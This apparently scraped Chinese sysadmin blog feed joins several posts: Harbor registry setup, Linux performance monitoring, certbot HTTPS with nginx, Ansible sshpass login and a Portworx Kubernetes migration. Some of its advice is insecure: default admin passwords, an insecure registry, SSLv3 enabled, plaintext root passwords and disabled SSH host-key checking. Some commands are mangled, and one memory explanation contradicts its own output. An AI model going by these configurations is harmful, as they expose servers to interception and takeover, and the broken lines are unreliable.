该值为加解密在副本策略中远端仓库的密码,长度为16位字符。生产中必需修改该值. NOTE: After changing this key, previously encrypted password of a policy can not be decrypted. token_expiration: token过期时间,默认30分钟 verify_remote_cert: (on or off. 默认 on) 该参数决定了当harbor盒远端的registry实例交互的时候是否使用SSL/TLS .设置为off 的时候,一般远端的registry会采用自签名或者未受信任的证书。 customize_crt: (on or off. 默认为on) 当设置为on的时候,会使用脚本去创建私钥和root证书去认证registry的token 以下参数:crt_country, crt_state, crt_location, crt_organization, crt_organizationalunit, crt_commonname, crt_email 被用来省城key。设置为off的时候,key和root证书可以被应用在外部的源中。 为Harbor token服务自定义证书
3. 配置后端存储 (可选的)
默认,Harbor会存储镜像文件到本地文件系统。在生产环境中应该考虑使用一些后端存储去代替本地文件系统,比如S3,openstack swift或者ceph等。可以在文件templates/registry/config.yml去选择更新存储方式。比如你想使用Openstack Swift作为你的存储后端,对应的配置会如下:
storage: swift: username: admin password: ADMIN_PASS authurl: http://keystone_addr:35357/v3/auth tenant: admin domain: default region: regionOne container: docker_images
注意: 关于docker registry在存储后端的详细信息可以查看相应链接 Registry 配置详情 .
4.完成Harbor的安装并进行启动Harbor
一旦 harbord.cfg 和存储后端被配置完成就可以使用install.sh脚本进行安装和启动Harbor服务。 需要注意的是,执行该操作可能会花费一些,因为需要从docker hub上去下载一些Harbor相关依赖的images文件。
$ sudo ./install.sh
如果上面脚本执行完成之后,一切工作正常,你就可以在浏览器上输入配置文件harbor.cfg中配置的hostname并且使用配置的admin用户来访问Harbor服务。 http://reg.yourdomain.com 默认的管理员用户名密码: username/password:admin/Harbor12345 .
使用admin用户登录进去后首先创建一个项目,比如myproject. 接下来用户就可以使用docker login reg.yourdomain.com登录并进行push镜像。(默认的registry服务监听的80端口):
sh $ docker login reg.yourdomain.com $ docker push reg.yourdomain.com/myproject/myrepo:mytag
重要提示: 默认安装的Harbor使用的是 HTTP 协议,因此,当用户在使用的时候,需要在docker daemon的配置文件中增加以下参数 --insecure-registry reg.yourdomain.com 并且重启docker.
更多使用Harbor的详情信息,请点我** Harbor使用指南 ** .
5.配置Harbor以支持HTTPs访问
Harbor不会使用任何认证进行运行,默认使用http来提供服务。这种方式对于部署或者测试环境会相应的简单一些,但是在生产环境中不建议那样做。为了启用HTTPS的支持,请看下面的链接 配置Harbor以支持https .
管理 Harbor的生命周期
你可以使用docker-compose去管理Harbor的整个生命周期。以下是相应的管理命令,需要注意的是docker-compose必须得在有docker-compose.yml文件的目录下执行:
停止Harbor服务:
$ sudo docker-compose stop Stopping harbor_proxy_1 ... done Stopping harbor_ui_1 ... done Stopping harbor_registry_1 ... done Stopping harbor_mysql_1 ... done Stopping harbor_log_1 ... done Stopping harbor_jobservice_1 ... done
启动Harbor服务:
$ sudo docker-compose start Starting harbor_log_1 Starting harbor_mysql_1 Starting harbor_registry_1 Starting harbor_ui_1 Starting harbor_proxy_1 Starting harbor_jobservice_1
如果需要修改Harbor的配置,首先需要停掉正在运行的 Harbor实例,更新harbor.cfg文件,再次运行install.sh
$ sudo docker-compose down $ vim harbor.cfg $ sudo install.sh
删除Harbor容器,保存镜像文件和Harbor的数据库文件:
$ sudo docker-compose rm Going to remove harbor_proxy_1, harbor_ui_1, harbor_registry_1, harbor_mysql_1, harbor_log_1, harbor_jobservice_1 Are you sure? [yN] y Removing harbor_proxy_1 ... done Removing harbor_ui_1 ... done Removing harbor_registry_1 ... done Removing harbor_mysql_1 ... done Removing harbor_log_1 ... done Removing harbor_jobservice_1 ... done
删除Harbor的数据库信息和镜像文件(一般为了纯净安装):
$ rm -r /data/database $ rm -r /data/registry
更多docker-compose命令使用指南
持久化数据和日志文件
默认情况下,regirstry的数据被持久化到目标主机的/data/目录。当Harbor的容器呗删除或者重新创建的时候,数据不会有任何改变。 另外,Harbor使用rsyslog去收集每个容器的日志,默认的,政协日志文件被存储在目标主机的/var/log/harbor/目录以便进行troubleshooting
配置Harbor监听自定义端口
默认情况下,Harbor监听80和443(需要配置)来作为admin用户登录的入口,当然也可以自定义该端口。
Http协议
1.修改 docker-compose.yml 文件 替换ui中的端口映射, e.g. 8888:80.
proxy: image: library/nginx:1.11.5 restart: always volumes: - ./config/nginx:/etc/nginx ports: - 8888:80 - 443:443 depends_on: - mysql - registry - ui - log logging: driver: "syslog" options: syslog-address: "tcp://127.0.0.1:1514" tag: "proxy"
2.修改模版文件 templates/registry/config.yml
, 在参数 "$ui_url"之后增加自定义端口":8888".
auth: token: issuer: registry-token-issuer realm: $ui_url:8888/service/token rootcertbundle: /etc/registry/root.crt service: token-service
3.运行install.sh更新并启动harbor.
$ sudo docker-compose down $ sudo install.sh
HTTPS 协议
1.启用Https协议指南 guide .
2.修改 docker-compose.yml配置文件
修改compose文件中的443端口映射,比如: 4443:443.
proxy: image: library/nginx:1.11.5 restart: always volumes: - ./config/nginx:/etc/nginx ports: - 80:80 - 4443:443 depends_on: - mysql - registry - ui - log logging: driver: "syslog" options: syslog-address: "tcp://127.0.0.1:1514" tag: "proxy"
3.修改模版文件 templates/registry/config.yml
在"$ui_url"之后增加自定义端口,比如":4443"
auth: token: issuer: registry-token-issuer realm: $ui_url:4443/service/token rootcertbundle: /etc/registry/root.crt service: token-service
4.运行 install.sh 更新启动 Harbor.
$ sudo docker-compose down $ sudo install.sh
故障排查 当harbor不正常工作的时候,可以使用一下命令查看正在运行的容器信息:
$ sudo docker-compose ps Name Command State Ports ----------------------------------------------------------------------------------------------------- harbor_jobservice_1 /harbor/harbor_jobservice Up harbor_log_1 /bin/sh -c crond && rsyslo ... Up 0.0.0.0:1514->514/tcp harbor_mysql_1 /entrypoint.sh mysqld Up 3306/tcp harbor_proxy_1 nginx -g daemon off; Up 0.0.0.0:443->443/tcp, 0.0.0.0:80->80/tcp harbor_registry_1 /entrypoint.sh serve /etc/ ... Up 5000/tcp harbor_ui_1 /harbor/harbor_ui Up
如果有容器处于非up状态,可以检查容器日志/var/log/harbor
2.对harbor进行弹性负载均衡nginx反响代理的时候可以查看以下文件,
make/config/nginx/nginx.conf 中的相关配置 location /, location /v2/ location /service/.
proxy_set_header X-Forwarded-Proto $scheme;

系统运维
2019-11-14 17:09:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
在这篇文章中: 一、CPU 二、Memory 三、磁盘IO 四、Network IO
指标 工具
cpu usr<=70%, sys<=35%, usr+sys<=70% top
memory si == so == 0 可用空间>=30% vmstat 1;free; /proc/meminfo
io
network
iowait% < 20%
udp:缓冲区不挤压, 无丢包 tcp:重传率
iostat -x;
netstat -lunp; netstat -su; /proc/net/snmp
一、CPU
1.良好状态指标 CPU利用率:User Time <= 70%,System Time <= 35%,User Time + System Time <= 70% 上下文切换:与CPU利用率相关联,如果CPU利用率状态良好,大量的上下文切换也是可以接受的 可运行队列:每个处理器的可运行队列<=3个线程
2.监控工具 top 最常用 略 vmstat
$ vmstat 1 (1 表示 1s 输出一次) procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 14 0 140 2904316 341912 3952308 0 0 0 460 1106 9593 36 64 1 0 0 17 0 140 2903492 341912 3951780 0 0 0 0 1037 9614 35 65 1 0 0 20 0 140 2902016 341912 3952000 0 0 0 0 1046 9739 35 64 1 0 0 17 0 140 2903904 341912 3951888 0 0 0 76 1044 9879 37 63 0 0 0 16 0 140 2904580 341912 3952108 0 0 0 0 1055 9808 34 65 1 0 0
重要参数:
r,run queue,可运行队列的线程数,这些线程都是可运行状态,只不过CPU暂时不可用; b,被blocked的进程数,正在等待IO请求; in,interrupts,被处理过的中断数 cs,context switch,系统上正在做上下文切换的数目 us,用户占用CPU的百分比 sys,内核和中断占用CPU的百分比 id,CPU完全空闲的百分比
上例可得:
sy高us低,以及高频度的上下文切换(cs),说明应用程序进行了大量的系统调用;
这台4核机器的r应该在12个以内,现在r在14个线程以上,此时CPU负荷很重。 查看某个进程占用的CPU资源$ while :; do ps -eo pid,ni,pri,pcpu,psr,comm | grep 'db_server_login'; sleep 1; done PID NI PRI %CPU PSR COMMAND 28577 0 23 0.0 0 db_server_login 28578 0 23 0.0 3 db_server_login 28579 0 23 0.0 2 db_server_login 28581 0 23 0.0 2 db_server_login 28582 0 23 0.0 3 db_server_login 28659 0 23 0.0 0 db_server_login ……
二、Memory
1.良好状态指标 swap in (si) == 0,swap out (so) == 0 应用程序可用内存/系统物理内存 <= 70%
2.监控工具 vmstat
$ vmstat 1 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 1 0 2085940 402932 245856 8312440 1 1 15 172 0 0 7 5 88 0 0 1 0 2085940 400196 245856 8315148 0 0 532 0 4828 9087 30 6 63 1 0 2 0 2085940 397716 245868 8317908 0 0 464 552 4311 8427 29 6 65 0 0 2 0 2085940 393144 245876 8322484 0 0 584 2556 4620 9054 30 5 65 0 0 2 0 2085940 389368 245876 8325408 0 0 592 0 4460 8779 30 5 65 0 0
重要参数:
swpd,已使用的 SWAP 空间大小,KB 为单位 free,可用的物理内存大小,KB 为单位 buff,物理内存用来缓存读写操作的buffer大小,KB 为单位 cache,物理内存用来缓存进程地址空间的 cache 大小,KB 为单位 si,数据从 SWAP 读取到 RAM(swap in)的大小,KB 为单位 so,数据从 RAM 写到 SWAP(swap out)的大小,KB 为单位
上例可得:
物理可用内存 free 基本没什么显著变化,swapd逐步增加,说明最小可用的内存始终保持在 256MB(物理内存大小) * 10% = 2.56MB 左右,当脏页达到10%的时候就开始大量使用swap。
$ vmstat 1 procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------ r b swpd free buff cache si so bi bo in cs us sy id wa st 0 3 252696 2432 268 7148 3604 2368 3608 2372 288 288 0 0 21 78 1 0 2 253484 2216 228 7104 5368 2976 5372 3036 930 519 0 0 0 100 0 0 1 259252 2616 128 6148 19784 18712 19784 18712 3821 1853 0 1 3 95 1 1 2 260008 2188 144 6824 11824 2584 12664 2584 1347 1174 14 0 0 86 0 2 1 262140 2964 128 5852 24912 17304 24952 17304 4737 2341 86 10 0 0 4 ^C free
$ free total used free shared buffers cached Mem: 15728640 15600636 128004 0 0 13439080 -/+ buffers/cache: 2161556 13567084 Swap: 2104508 276276 1828232
单位KB。可以用 -m 选项要求输出单位为MB。
我们使用total1、used1、free1、used2、free2 等名称来代表上面统计数据的各值,1、2 分别代表第一行和第二行的数据。
total1:表示物理内存总量。 used1:表示总计分配给缓存(包含buffers 与cache )使用的数量,但其中可能部分缓存并未实际使用。 free1:未被分配的内存。 shared1:共享内存,一般系统不会用到,这里也不讨论。 buffers1:系统分配但未被使用的buffers 数量。 cached1:系统分配但未被使用的cache 数量。buffer 与cache 的区别见后面。 used2:实际使用的buffers 与cache 总量,也是实际使用的内存总量。 free2:未被使用的buffers 与cache 和未被分配的内存之和,这就是系统当前实际可用内存。
cache 和 buffer的区别:
Cache:高速缓存,是位于CPU与主内存间的一种容量较小但速度很高的存储器。
由于CPU的速度远高于主内存,CPU直接从内存中存取数据要等待一定时间周期,Cache中保存着CPU刚用过或循环使用的一部分数据,当CPU再次使用该部分数据时可从Cache中直接调用,这样就减少了CPU的等待时间,提高了系统的效率。
Cache又分为一级Cache(L1 Cache)和二级Cache(L2 Cache),L1 Cache集成在CPU内部,L2 Cache早期一般是焊在主板上,现在也都集成在CPU内部,常见的容量有256KB或512KB L2 Cache。
Buffer:缓冲区,一个用于存储速度不同步的设备或优先级不同的设备之间传输数据的区域。 通过缓冲区,可以使进程之间的相互等待变少,从而使从速度慢的设备读入数据时,速度快的设备的操作进程不发生间断。
Free中的buffer和cache:(它们都是占用内存)
buffer : 作为buffer cache的内存,是块设备的读写缓冲区
cache: 作为page cache的内存,文件系统的cache
如果 cache 的值很大,说明cache住的文件数很多。如果频繁访问到的文件都能被cache住,那么磁盘的读IO 必会非常小。 $ cat /proc/meminfoMemTotal: 15728640 kB MemFree: 116196 kB Buffers: 0 kB Cached: 13448268 kB ……
这台服务器总共有 8GB 物理内存(MemTotal),3GB 左右可用内存(MemFree),343MB左右用来做磁盘缓存(Buffers),4GB左右用来做文件缓存区(Cached)。 用free命令也可以查到这几个值,注意单位是kB。
三、磁盘IO
1.良好状态指标 iowait % < 20% 提高命中率的一个简单方式就是增大文件缓存区面积,缓存区越大预存的页面就越多,命中率也越高。 Linux 内核希望能尽可能产生次缺页中断(从文件缓存区读),并且能尽可能避免主缺页中断(从硬盘读),这样随着次缺页中断的增多,文件缓存区也逐步增大,直到系统只有少量可用物理内存的时候 Linux 才开始释放一些不用的页。
2.监控工具 sar
$ sar -d 2 3 (2秒一次 共3次) Linux 3.10.83-1-tlinux2-0021.tl1 (xgame_9_zone1) 06/22/17 _x86_64_ (48 CPU) 16:50:05 DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util 16:50:07 dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 16:50:07 DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util 16:50:09 dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 16:50:09 DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util 16:50:11 dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 Average: DEV tps rd_sec/s wr_sec/s avgrq-sz avgqu-sz await svctm %util Average: dev8-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00
重要参数:
await表示平均每次设备I/O操作的等待时间(以毫秒为单位)。 svctm表示平均每次设备I/O操作的服务时间(以毫秒为单位)。 %util表示一秒中有百分之几的时间用于I/O操作。
如果svctm的值与await很接近,表示几乎没有I/O等待,磁盘性能很好,如果await的值远高于svctm的值,则表示I/O队列等待太长,系统上运行的应用程序将变慢。
如果%util接近100%,表示磁盘产生的I/O请求太多,I/O系统已经满负荷的在工作,该磁盘可能存在瓶颈。 $ iostat -x(选项 -x 用于显示和io相关的扩展数据)
Linux 3.10.83-1-tlinux2-0021.tl1 (xgame_9_zone1) 06/22/17 _x86_64_ (48 CPU) avg-cpu: %user %nice %system %iowait %steal %idle 2.46 0.00 2.75 0.01 0.00 94.78 Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s avgrq-sz avgqu-sz await svctm %util sda 0.00 0.00 0.00 0.00 0.00 0.00 153.95 0.00 1.02 0.47 0.00
查看哪个进程占IO:iotop,效果和top看cpu一样。 查看某个进程打开的文件:/proc/${pid}/fd
四、Network IO
对于UDP
1.良好状态指标
接收、发送缓冲区不长时间有等待处理的网络包
2.监控工具 netstat
对于UDP服务,查看所有监听的UDP端口的网络情况
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:64000 0.0.0.0:* - udp 0 0 0.0.0.0:38400 0.0.0.0:* - udp 0 0 0.0.0.0:38272 0.0.0.0:* - udp 0 0 0.0.0.0:36992 0.0.0.0:* - udp 0 0 0.0.0.0:17921 0.0.0.0:* - udp 0 0 0.0.0.0:11777 0.0.0.0:* - udp 0 0 0.0.0.0:14721 0.0.0.0:* - udp 0 0 0.0.0.0:36225 0.0.0.0:* -
RecvQ、SendQ为0,或者不长时间有数值是比较正常的。
对于UDP服务,查看丢包情况(网卡收到了,但是应用层没有处理过来造成的丢包)
$ watch netstat -su Udp: 278073881 packets received 4083356897 packets to unknown port received. 2474435364 packet receive errors 1079038030 packets sent
packet receive errors 这一项数值增长了,则表明在丢包。
对于TCP(来自davidshan单卫的经验,thx~)
1.良好状态指标
对于TCP而言,不会出现因为缓存不足而存在丢包的事,因为网络等其他原因,导致丢了包,协议层也会通过重传机制来保证丢的包到达对方。
所以,tcp而言更多的专注重传率。
2、监控工具
通过snmp可以查看各层网络协议的收发包的情况
$ cat /proc/net/snmp | grep Tcp Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts Tcp: 1 200 120000 -1 78447 413 50234 221 3 5984652 5653408 156800 0 849
重传率 = RetransSegs / OutSegs
至于这个值在多少范围内,算ok的,得看具体的业务了。
系统运维
2019-11-14 17:06:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
之前要申请免费的 https 证书操作步骤相当麻烦,今天看到有人在讨论,就搜索了一下。发现现在申请步骤简单多了。
1. 下载 certbot git clone https://github.com/certbot/certbot cd certbot ./certbot-auto --help
解压打开执行就会有相关提示
2. 生成免费证书 ./certbot-auto certonly --webroot --agree-tos -v -t --email 邮箱地址 -w 网站根目录 -d 网站域名 ./certbot-auto certonly --webroot --agree-tos -v -t --email keeliizhou@gmail.com -w /path/to/your/web/root -d note.crazy4code.com
注意
这里 默认会自动生成到 /网站根目录/.well-known/acme-challenge 文件夹,然后 shell 脚本会对应的访问 网站域名/.well-known/acme-challenge 是否存在来确定你对网站的所属权
比如:我的域名是 note.crazy4code.com 那我就得保证域名下面的 .well-known/acme-challenge/ 目录是可访问的
如果返回正常就确认了你对这个网站的所有权,就能顺利生成,完成后这个目录会被清空
3. 获取证书
如果上面的步骤正常 shell 脚本会展示如下信息: - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/网站域名/fullchain.pem ...
4. 生成 dhparams
使用 openssl 工具生成 dhparams openssl dhparam -out /etc/ssl/certs/dhparams.pem 2048
5. 配置 Nginx
打开 nginx server 配置文件加入如下设置: listen 443 ssl on; ssl_certificate /etc/letsencrypt/live/网站域名/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/网站域名/privkey.pem; ssl_dhparam /etc/ssl/certs/dhparams.pem; ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers HIGH:!aNULL:!MD5;
然后重启 nginx 服务就可以了
6. 强制跳转 https
https 默认是监听 443 端口的,没开启 https 访问的话一般默认是 80 端口。如果你确定网站 80 端口上的站点都支持 https 的话加入下面的配件可以自动重定向到 https server { listen 80; server_name your.domain.com; return 301 https://$server_name$request_uri; }
7. 证书更新
免费证书只有 90 天的有效期,到时需要手动更新 renew。刚好 Let’s encrypt 旗下还有一个 Let’s monitor 免费服务,注册账号添加需要监控的域名,系统会在证书马上到期时发出提醒邮件,非常方便。收到邮件后去后台执行 renew 即可,如果提示成功就表示 renew 成功 ./certbot-auto renew
系统运维
2019-11-14 17:06:07
「深度学习福利」大神带你进阶工程师,立即查看>>>
公司内部补允许用key来认证,而且是内网无法访问外网,只能通过源码安装和装特定模块达到密码登陆的功能
1.安装sshpass
运行下列命令安装:
tar -zxvf sshpass-1.05.tar.gz cd sshpass-1.05 ./configure make && make install
安装完成后输入sshpass出现如下提示即安装成功
#sshpass
Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters -f filename Take password to use from file -d number Use number as file descriptor for getting password -p password Provide password as argument (security unwise) -e Password is passed as env-var "SSHPASS" With no parameters - password will be taken from stdin -h Show help (this screen) -V Print version information At most one of -f, -d, -p or -e should be used
/etc/ansible/hosts文件中添加用户密码,认证ssh连接
[test] 127.0.0.1 ansible_ssh_user=root ansible_ssh_port=22 ansible_ssh_pass=123456 192.168.1.137 ansible_ssh_user=root ansible_ssh_port=22 ansible_ssh_pass=123456
2.错误汇总:
[root @localhost ~]# ansible test -m ping
127.0.0.1 | FAILED! => { "msg": "Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this. Please add this host's fingerprint to your known_hosts file to manage this host." } 192.168.1.103 | FAILED! => { "msg": "Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this. Please add this host's fingerprint to your known_hosts file to manage this host." }
3.原因和解决办法:
ssh第一次连接的时候一般会提示输入yes 进行确认为将key字符串加入到 ~/.ssh/known_hosts 文件中。而本机的~/.ssh/known_hosts文件中并有fingerprint key串
解决方法:在ansible.cfg文件中更改下面的参数:
#host_key_checking = False 将#号去掉即可
系统运维
2019-11-14 17:03:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
越来越多的企业选择Kubernetes作为基础架构,它能够帮助我们缩短软件项目上市时间、降低基础架构成本、并提高软件质量。由于Kubernetes比较新,因此IT团队都在学习如何在生产环境中,在Kubernetes上对应用程序进行运行和维护。本文将探讨,当在需要额外的计算能力时,将Kubernetes应用程序迁移至另一个新的集群。

Portworx演示视频:在多集群架构中对K8S进行扩容

需要对当前的Kubernetes集群进行扩充的一些原因
1.某个集群的资源即将被全部占用,你需要将工作负载迁移到新的具有更多的计算资源的地方。
2.你希望使用的服务在另一个区域或云中,但想要使用这些服务,你需要转移应用程序和数据。
3.硬件到期,需要升级硬件到下一代,而新硬件的计算的规格、要求以及内存容量都已经发生了变化,这就导致了迁移的必要性。
4.集群资源受限并且进行扩展instance的成本越来越高,因此你需要采用新的集群架构,这样的集群需要使用网络附加的块存储而非本地磁盘,这样才能够将存储独立于计算进行扩展。
5.开发人员希望将工作负载转移到一个具有不同的硬件、网络、操作系统或其他配置的集群进行测试或分级。
上述所列原因并不详尽,但也说明在许多条件下扩充Kubernetes环境和将工作负载从一个集群迁移到另一个集群是有必要的。这个问题在涉及无状态应用时较为简单,但对于有状态的服务,如数据库、队列、关键存储、大数据以及机器学习应用时等时,你就必须将数据转移到新的、扩容的环境中去,然后应用程序设计才能加速运行。
解决数据移动性问题:PX-Enterprise™新功能
PX-Motion不仅具有对数据进行跨环境转移的能力,它还能够对应用程序配置以及相关的有状态的资源,如PV(永久卷)等进行转移,使得操作团队能够非常方便地将一个卷、一个Kubernetes名字空间、或整个Kubernetes集群在环境之间进行转移,即便其中存在永久数据。
本文将对PX-Motion的功能与能力进行探讨。同时,我们将演示如何将一个Kubernetes命名空间以及其中运行的所有应用程序转移到一个具有资源拓展能力的新的Kubernetes集群上。在这个演示中,集群1表示资源已经过度利用的、不灵活的,已经无法满足我们不断增长的应用程序需求的集群。集群2表示一个更加灵活且可扩展的集群,我们将把工作负载转移到这个集群2上。
除了在集群之间进行整个Kubernetes命名空间的转移之外,我们还将展示如何将配置在集群1中使用本地存储的应用程序,迁移到使用网络附加的块存储的集群2中。
通过这种方式,你将看到我们需要转移真正的数据,而不是通过管理块设备映射这种小伎俩来实现的。

总的来说,在将一个有状态的Kubernetes应用程序转移到另一个集群时,你需要:
1. 将这两个集群进行配对,从而指定一个目标集群和一个目的集群;
2. 使用PX-Motion开始迁移,其中包括移动数据卷和配置;
3. 数据和配置迁移完成后,Kubernetes会自动将应用程序部署到新的环境中。

我们开始吧!

配置与设置
在展示中,我们使用google Kubernetes Engine (GKE)作为Kubernetes集群,但你也可以在任意的Kubernetes集群中进行如下的操作。使用Portworx installer online spec generator获得的DaemonSet Spec, 将Portworx安装到各个集群上。逐步完成安装,Portworx安装过程在此不作赘述,可以查看portworx.com上的文档了解如何在Kubernetes上安装Portworx 。环境架构示意图如下。注意集群1和集群2的如下方面:
Cluster Name Machine Type Storage Type
Cluster 1 (Source)
Cluster 2 (Destination)
n1-standard-2
n1-standard-8
local-ssd
provisioned PDs
在这种情况下,第一个集群(集群1)资源面临限制,操作团队希望从本地SSD转移到更大instance的自动配置的永久磁盘(PD)中。
为什么?本地SSD在处理特定工作负载时较为有效,但其自身也存在着局限性,这也是我们在这里讨论将应用程序从一个命名空间转移到另一个命名空间的原因所在。依照谷歌的描述,本地SSD的限制包括: “由于本地SSD是以物理方式附加到节点的虚拟机instance上的,其中存储的所有数据都只存在于这个节点上。 而由于数据是本地存储的,因此你的应用必须要能够面对数据不可用的情况。” “ 存储在SSD的数据是短期性的 。 向本地SSD写入内容的Pod会在被调度离开这一节点时失去对磁盘中存储的数据进行访问的能力。” 此外,如果节点被撤销、升级或维修,则数据就会被擦除。 “我们并不能向现有的节点池添加本地SSD。 ”
Portworx能够克服对上述部分限制,因为它能够将数据复制到集群中的其他提供高可用的主机上。但如果我们希望在不对计算按比例进行扩展的情况下,不断向我们的集群添加额外的存储,那么使用本地存储仍旧会存在一定的限制。上文所述的GKE上的第二个集群使用Portworx Disk Template,从而自动允许Portworx从Google云对磁盘进行管理,这比本地磁盘更加灵活一些。
第二个集群提前运行,现在使用的是自动配置的PD,可以进行工作负载的迁移。
大量应用程序的运行需要更多的计算能力
源集群如下。它是由单个命名空间(NameSpace)内运行的大量应用构成的:Cassandra, Postgres,WordPress和MySQL。所有的这些应用程序都会在集群中产生非常高的负载。如下是demo命名空间内运行的应用。注意,在单个Kubernetes集群上运行多个命名空间是可行且常见的。在演示中,我们只移动一个命名空间,让剩余的其他命名空间继续运行,不做变动。
$ kubectlconfig use-context < source -cluster>
$ kubectlget po -n demo
NAME READY STATUS RESTARTS AGE
cassandra-1-0 1/1 Running 0 17m
cassandra-1-1 1/1 Running 0 16m
cassandra-1-2 1/1 Running 0 14m
cassandra-2-0 1/1 Running 0 17m
cassandra-2-1 1/1 Running 0 16m
cassandra-2-2 1/1 Running 0 14m
mysql-1-7f58cf8c7c-srnth 1/1 Running 0 2m
mysql-2-8498757465-gqs5h 1/1 Running 0 2m
postgres-2-68c5d6b845-c4gbw 1/1 Running 0 26m
postgres-77bf94ccb5-hs7dh 1/1 Running 0 26m
wordpress-mysql-2-5fdffbdbb4-dpqm9 1/1 Running 0 17m

在某一个时间点上,当添加了更多的应用程序,如MySQL数据库时,这个集群就会遭遇其内存限制并出现“ OutOfmemory ”等错误,见如下。为解决这个问题,我们将demo这个命名空间迁移到一个新的集群上,从而为demo这个命名空间增添新的可用资源。
$ kubectlget po -n demo
NAME READY STATUS RESTARTS AGE
cassandra-1-0 1/1 Running 0 16m
cassandra-1-1 1/1 Running 0 14m
cassandra-1-2 1/1 Running 0 13m
cassandra-2-0 1/1 Running 0 16m
cassandra-2-1 1/1 Running 0 14m
cassandra-2-2 1/1 Running 0 13m
mysql-1-7f58cf8c7c-srnth 1/1 Running 0 1m
mysql-2-8498757465-gqs5h 1/1 Running 0 25s
mysql-3-859c5dc68f-2gcdj 0/1 OutOfmemory 0 10s
mysql-3-859c5dc68f-4wzmd 0/1 OutOfmemory 0 9s
mysql-3-859c5dc68f-57npr 0/1 OutOfmemory 0 11s
mysql-3-859c5dc68f-6t8fn 0/1 Terminating 0 16s
mysql-3-859c5dc68f-7hcf6 0/1 OutOfmemory 0 6s
mysql-3-859c5dc68f-7zbkh 0/1 OutOfmemory 0 5s
mysql-3-859c5dc68f-8s5k6 0/1 OutOfmemory 0 9s
mysql-3-859c5dc68f-d49nv 0/1 OutOfmemory 0 10s
mysql-3-859c5dc68f-dbtd7 0/1 OutOfmemory 0 15s
mysql-3-859c5dc68f-hwhxw 0/1 OutOfmemory 0 19s
mysql-3-859c5dc68f-rc8tg 0/1 OutOfmemory 0 12s
mysql-3-859c5dc68f-vnp9x 0/1 OutOfmemory 0 18s
mysql-3-859c5dc68f-xhgbx 0/1 OutOfmemory 0 12s
mysql-3-859c5dc68f-zj945 0/1 OutOfmemory 0 14s
postgres-2-68c5d6b845-c4gbw 1/1 Running 0 24m
postgres-77bf94ccb5-hs7dh 1/1 Running 0 24m
wordpress-mysql-2-5fdffbdbb4-dpqm9 1/1 Running 0 16m

除PX-Motion之外,最新发布的PX-Enterprise也包含了PX-Central™,这是一个用于监视、数据分析和管理的界面,能够对Grafana、Prometheus和Alertmanager进行配置。这些仪表板会对卷、集群、etcd以及其他内容进行监控。在本文所讨论的情况下,查看集群级仪表盘,就能够了解资源方面的问题。

如下所示的PX-Central截屏展示了该集群正在使用的内存和CPU的情况。该集群的高CPU和内存占用率为扩展带来了问题,并且由于集群存在过载问题,很有可能导致上文所述的“OutOfMemory(内存不足)”的问题。

使用PX-Motion迁移一个Kubernetes命名空间,包括其数据。
既然已经找到了问题,现在我们来使用PX-Motion将数据迁移到新的集群上。首先,我们将两个GKE集群配对起来,实现源集群和目标集群之间的迁移连接。集群的配对和蓝牙播放器与手机的配对类似。配对过程是为了将两个不同的设备连接起来。
前提条件
如果你正在尝试PX-Migration,请确认已经满足所有的前提条件。
为了将工作负载从集群1迁移到集群2,我们需要对PX-Motion进行配置。首先要做的是配置目标集群。为实现这一点,首先建立对于 pxctl (“pixie-cuttle”)的访问,即Portworx CLI。如下是pxctl在具有kubectl访问的情况下在工作站的运作情况。
$ kubectl config use-context < destination -cluster>
$PX_POD_DEST_CLUSTER=$(kubectl get pods –context
-lname=portworx -n kube-system
-o jsonpath='{.items[0].metadata.name}’)
$ aliaspxctl_dst=”kubectl exec $PX_POD_DEST_CLUSTER
–context \
-n kube-system /opt/pwx/bin/pxctl”

下一步,对目标集群进行设置使其准备好与来源集群进行配对。目标集群应当首先运行Portworx objectstore。我们需要在目标集群上设置一个对象存储端点,为数据在迁移过程中进行分级的位置。然后,为来源集群创建一个token在配对过程中使用。
$pxctl_dst — volume create –size 100 objectstore
$ pxctl_dst– objectstore create -v objectstore
$pxctl_dst — cluster token show
Token is

现在可以创建一个集群配对YAML配置文档,从而应用到来源Kubernetes集群中去。这个clusterpair.yaml文档将包含如何与目标集群调度程序和Portworx存储进行验证的信息。运行如下命令并编辑YAML文档即可建立集群配对:
$ storkctlgenerate clusterpair –context > clusterpair.yaml

1. 说明:你可以用你自己的名称替换“ metadata.name ”。
2. 说明:在如下示例中, options.token 可以使用通过上述“cluster token show”命令生成的令牌。
3. 说明:在如下示例中,对于 options.ip ,将需要一个可访问的负载均衡或Portworx节点的IP或DNS,来访问9001和9010端口。
在使用GKE时,在应用到集群之前,我们需要向Stork添加许可。Strok是由PX-Enterprise使用的Kubernetes的OSS智能调度程序扩展和迁移工具,同时我们还需要知道如何对新集群进行验证,从而对应用程序进行迁移。首先,使用谷歌云指令生成服务账户。然后,对Stork部署和验证进行编辑,从而确保其能够访问目标集群。指令请见如下。
下一步,应用这个集群并使用kubectl与来源集群进行配对。
$ kubectl config use-context < source -cluster>
$ kubectlcreate -f clusterpair.yaml

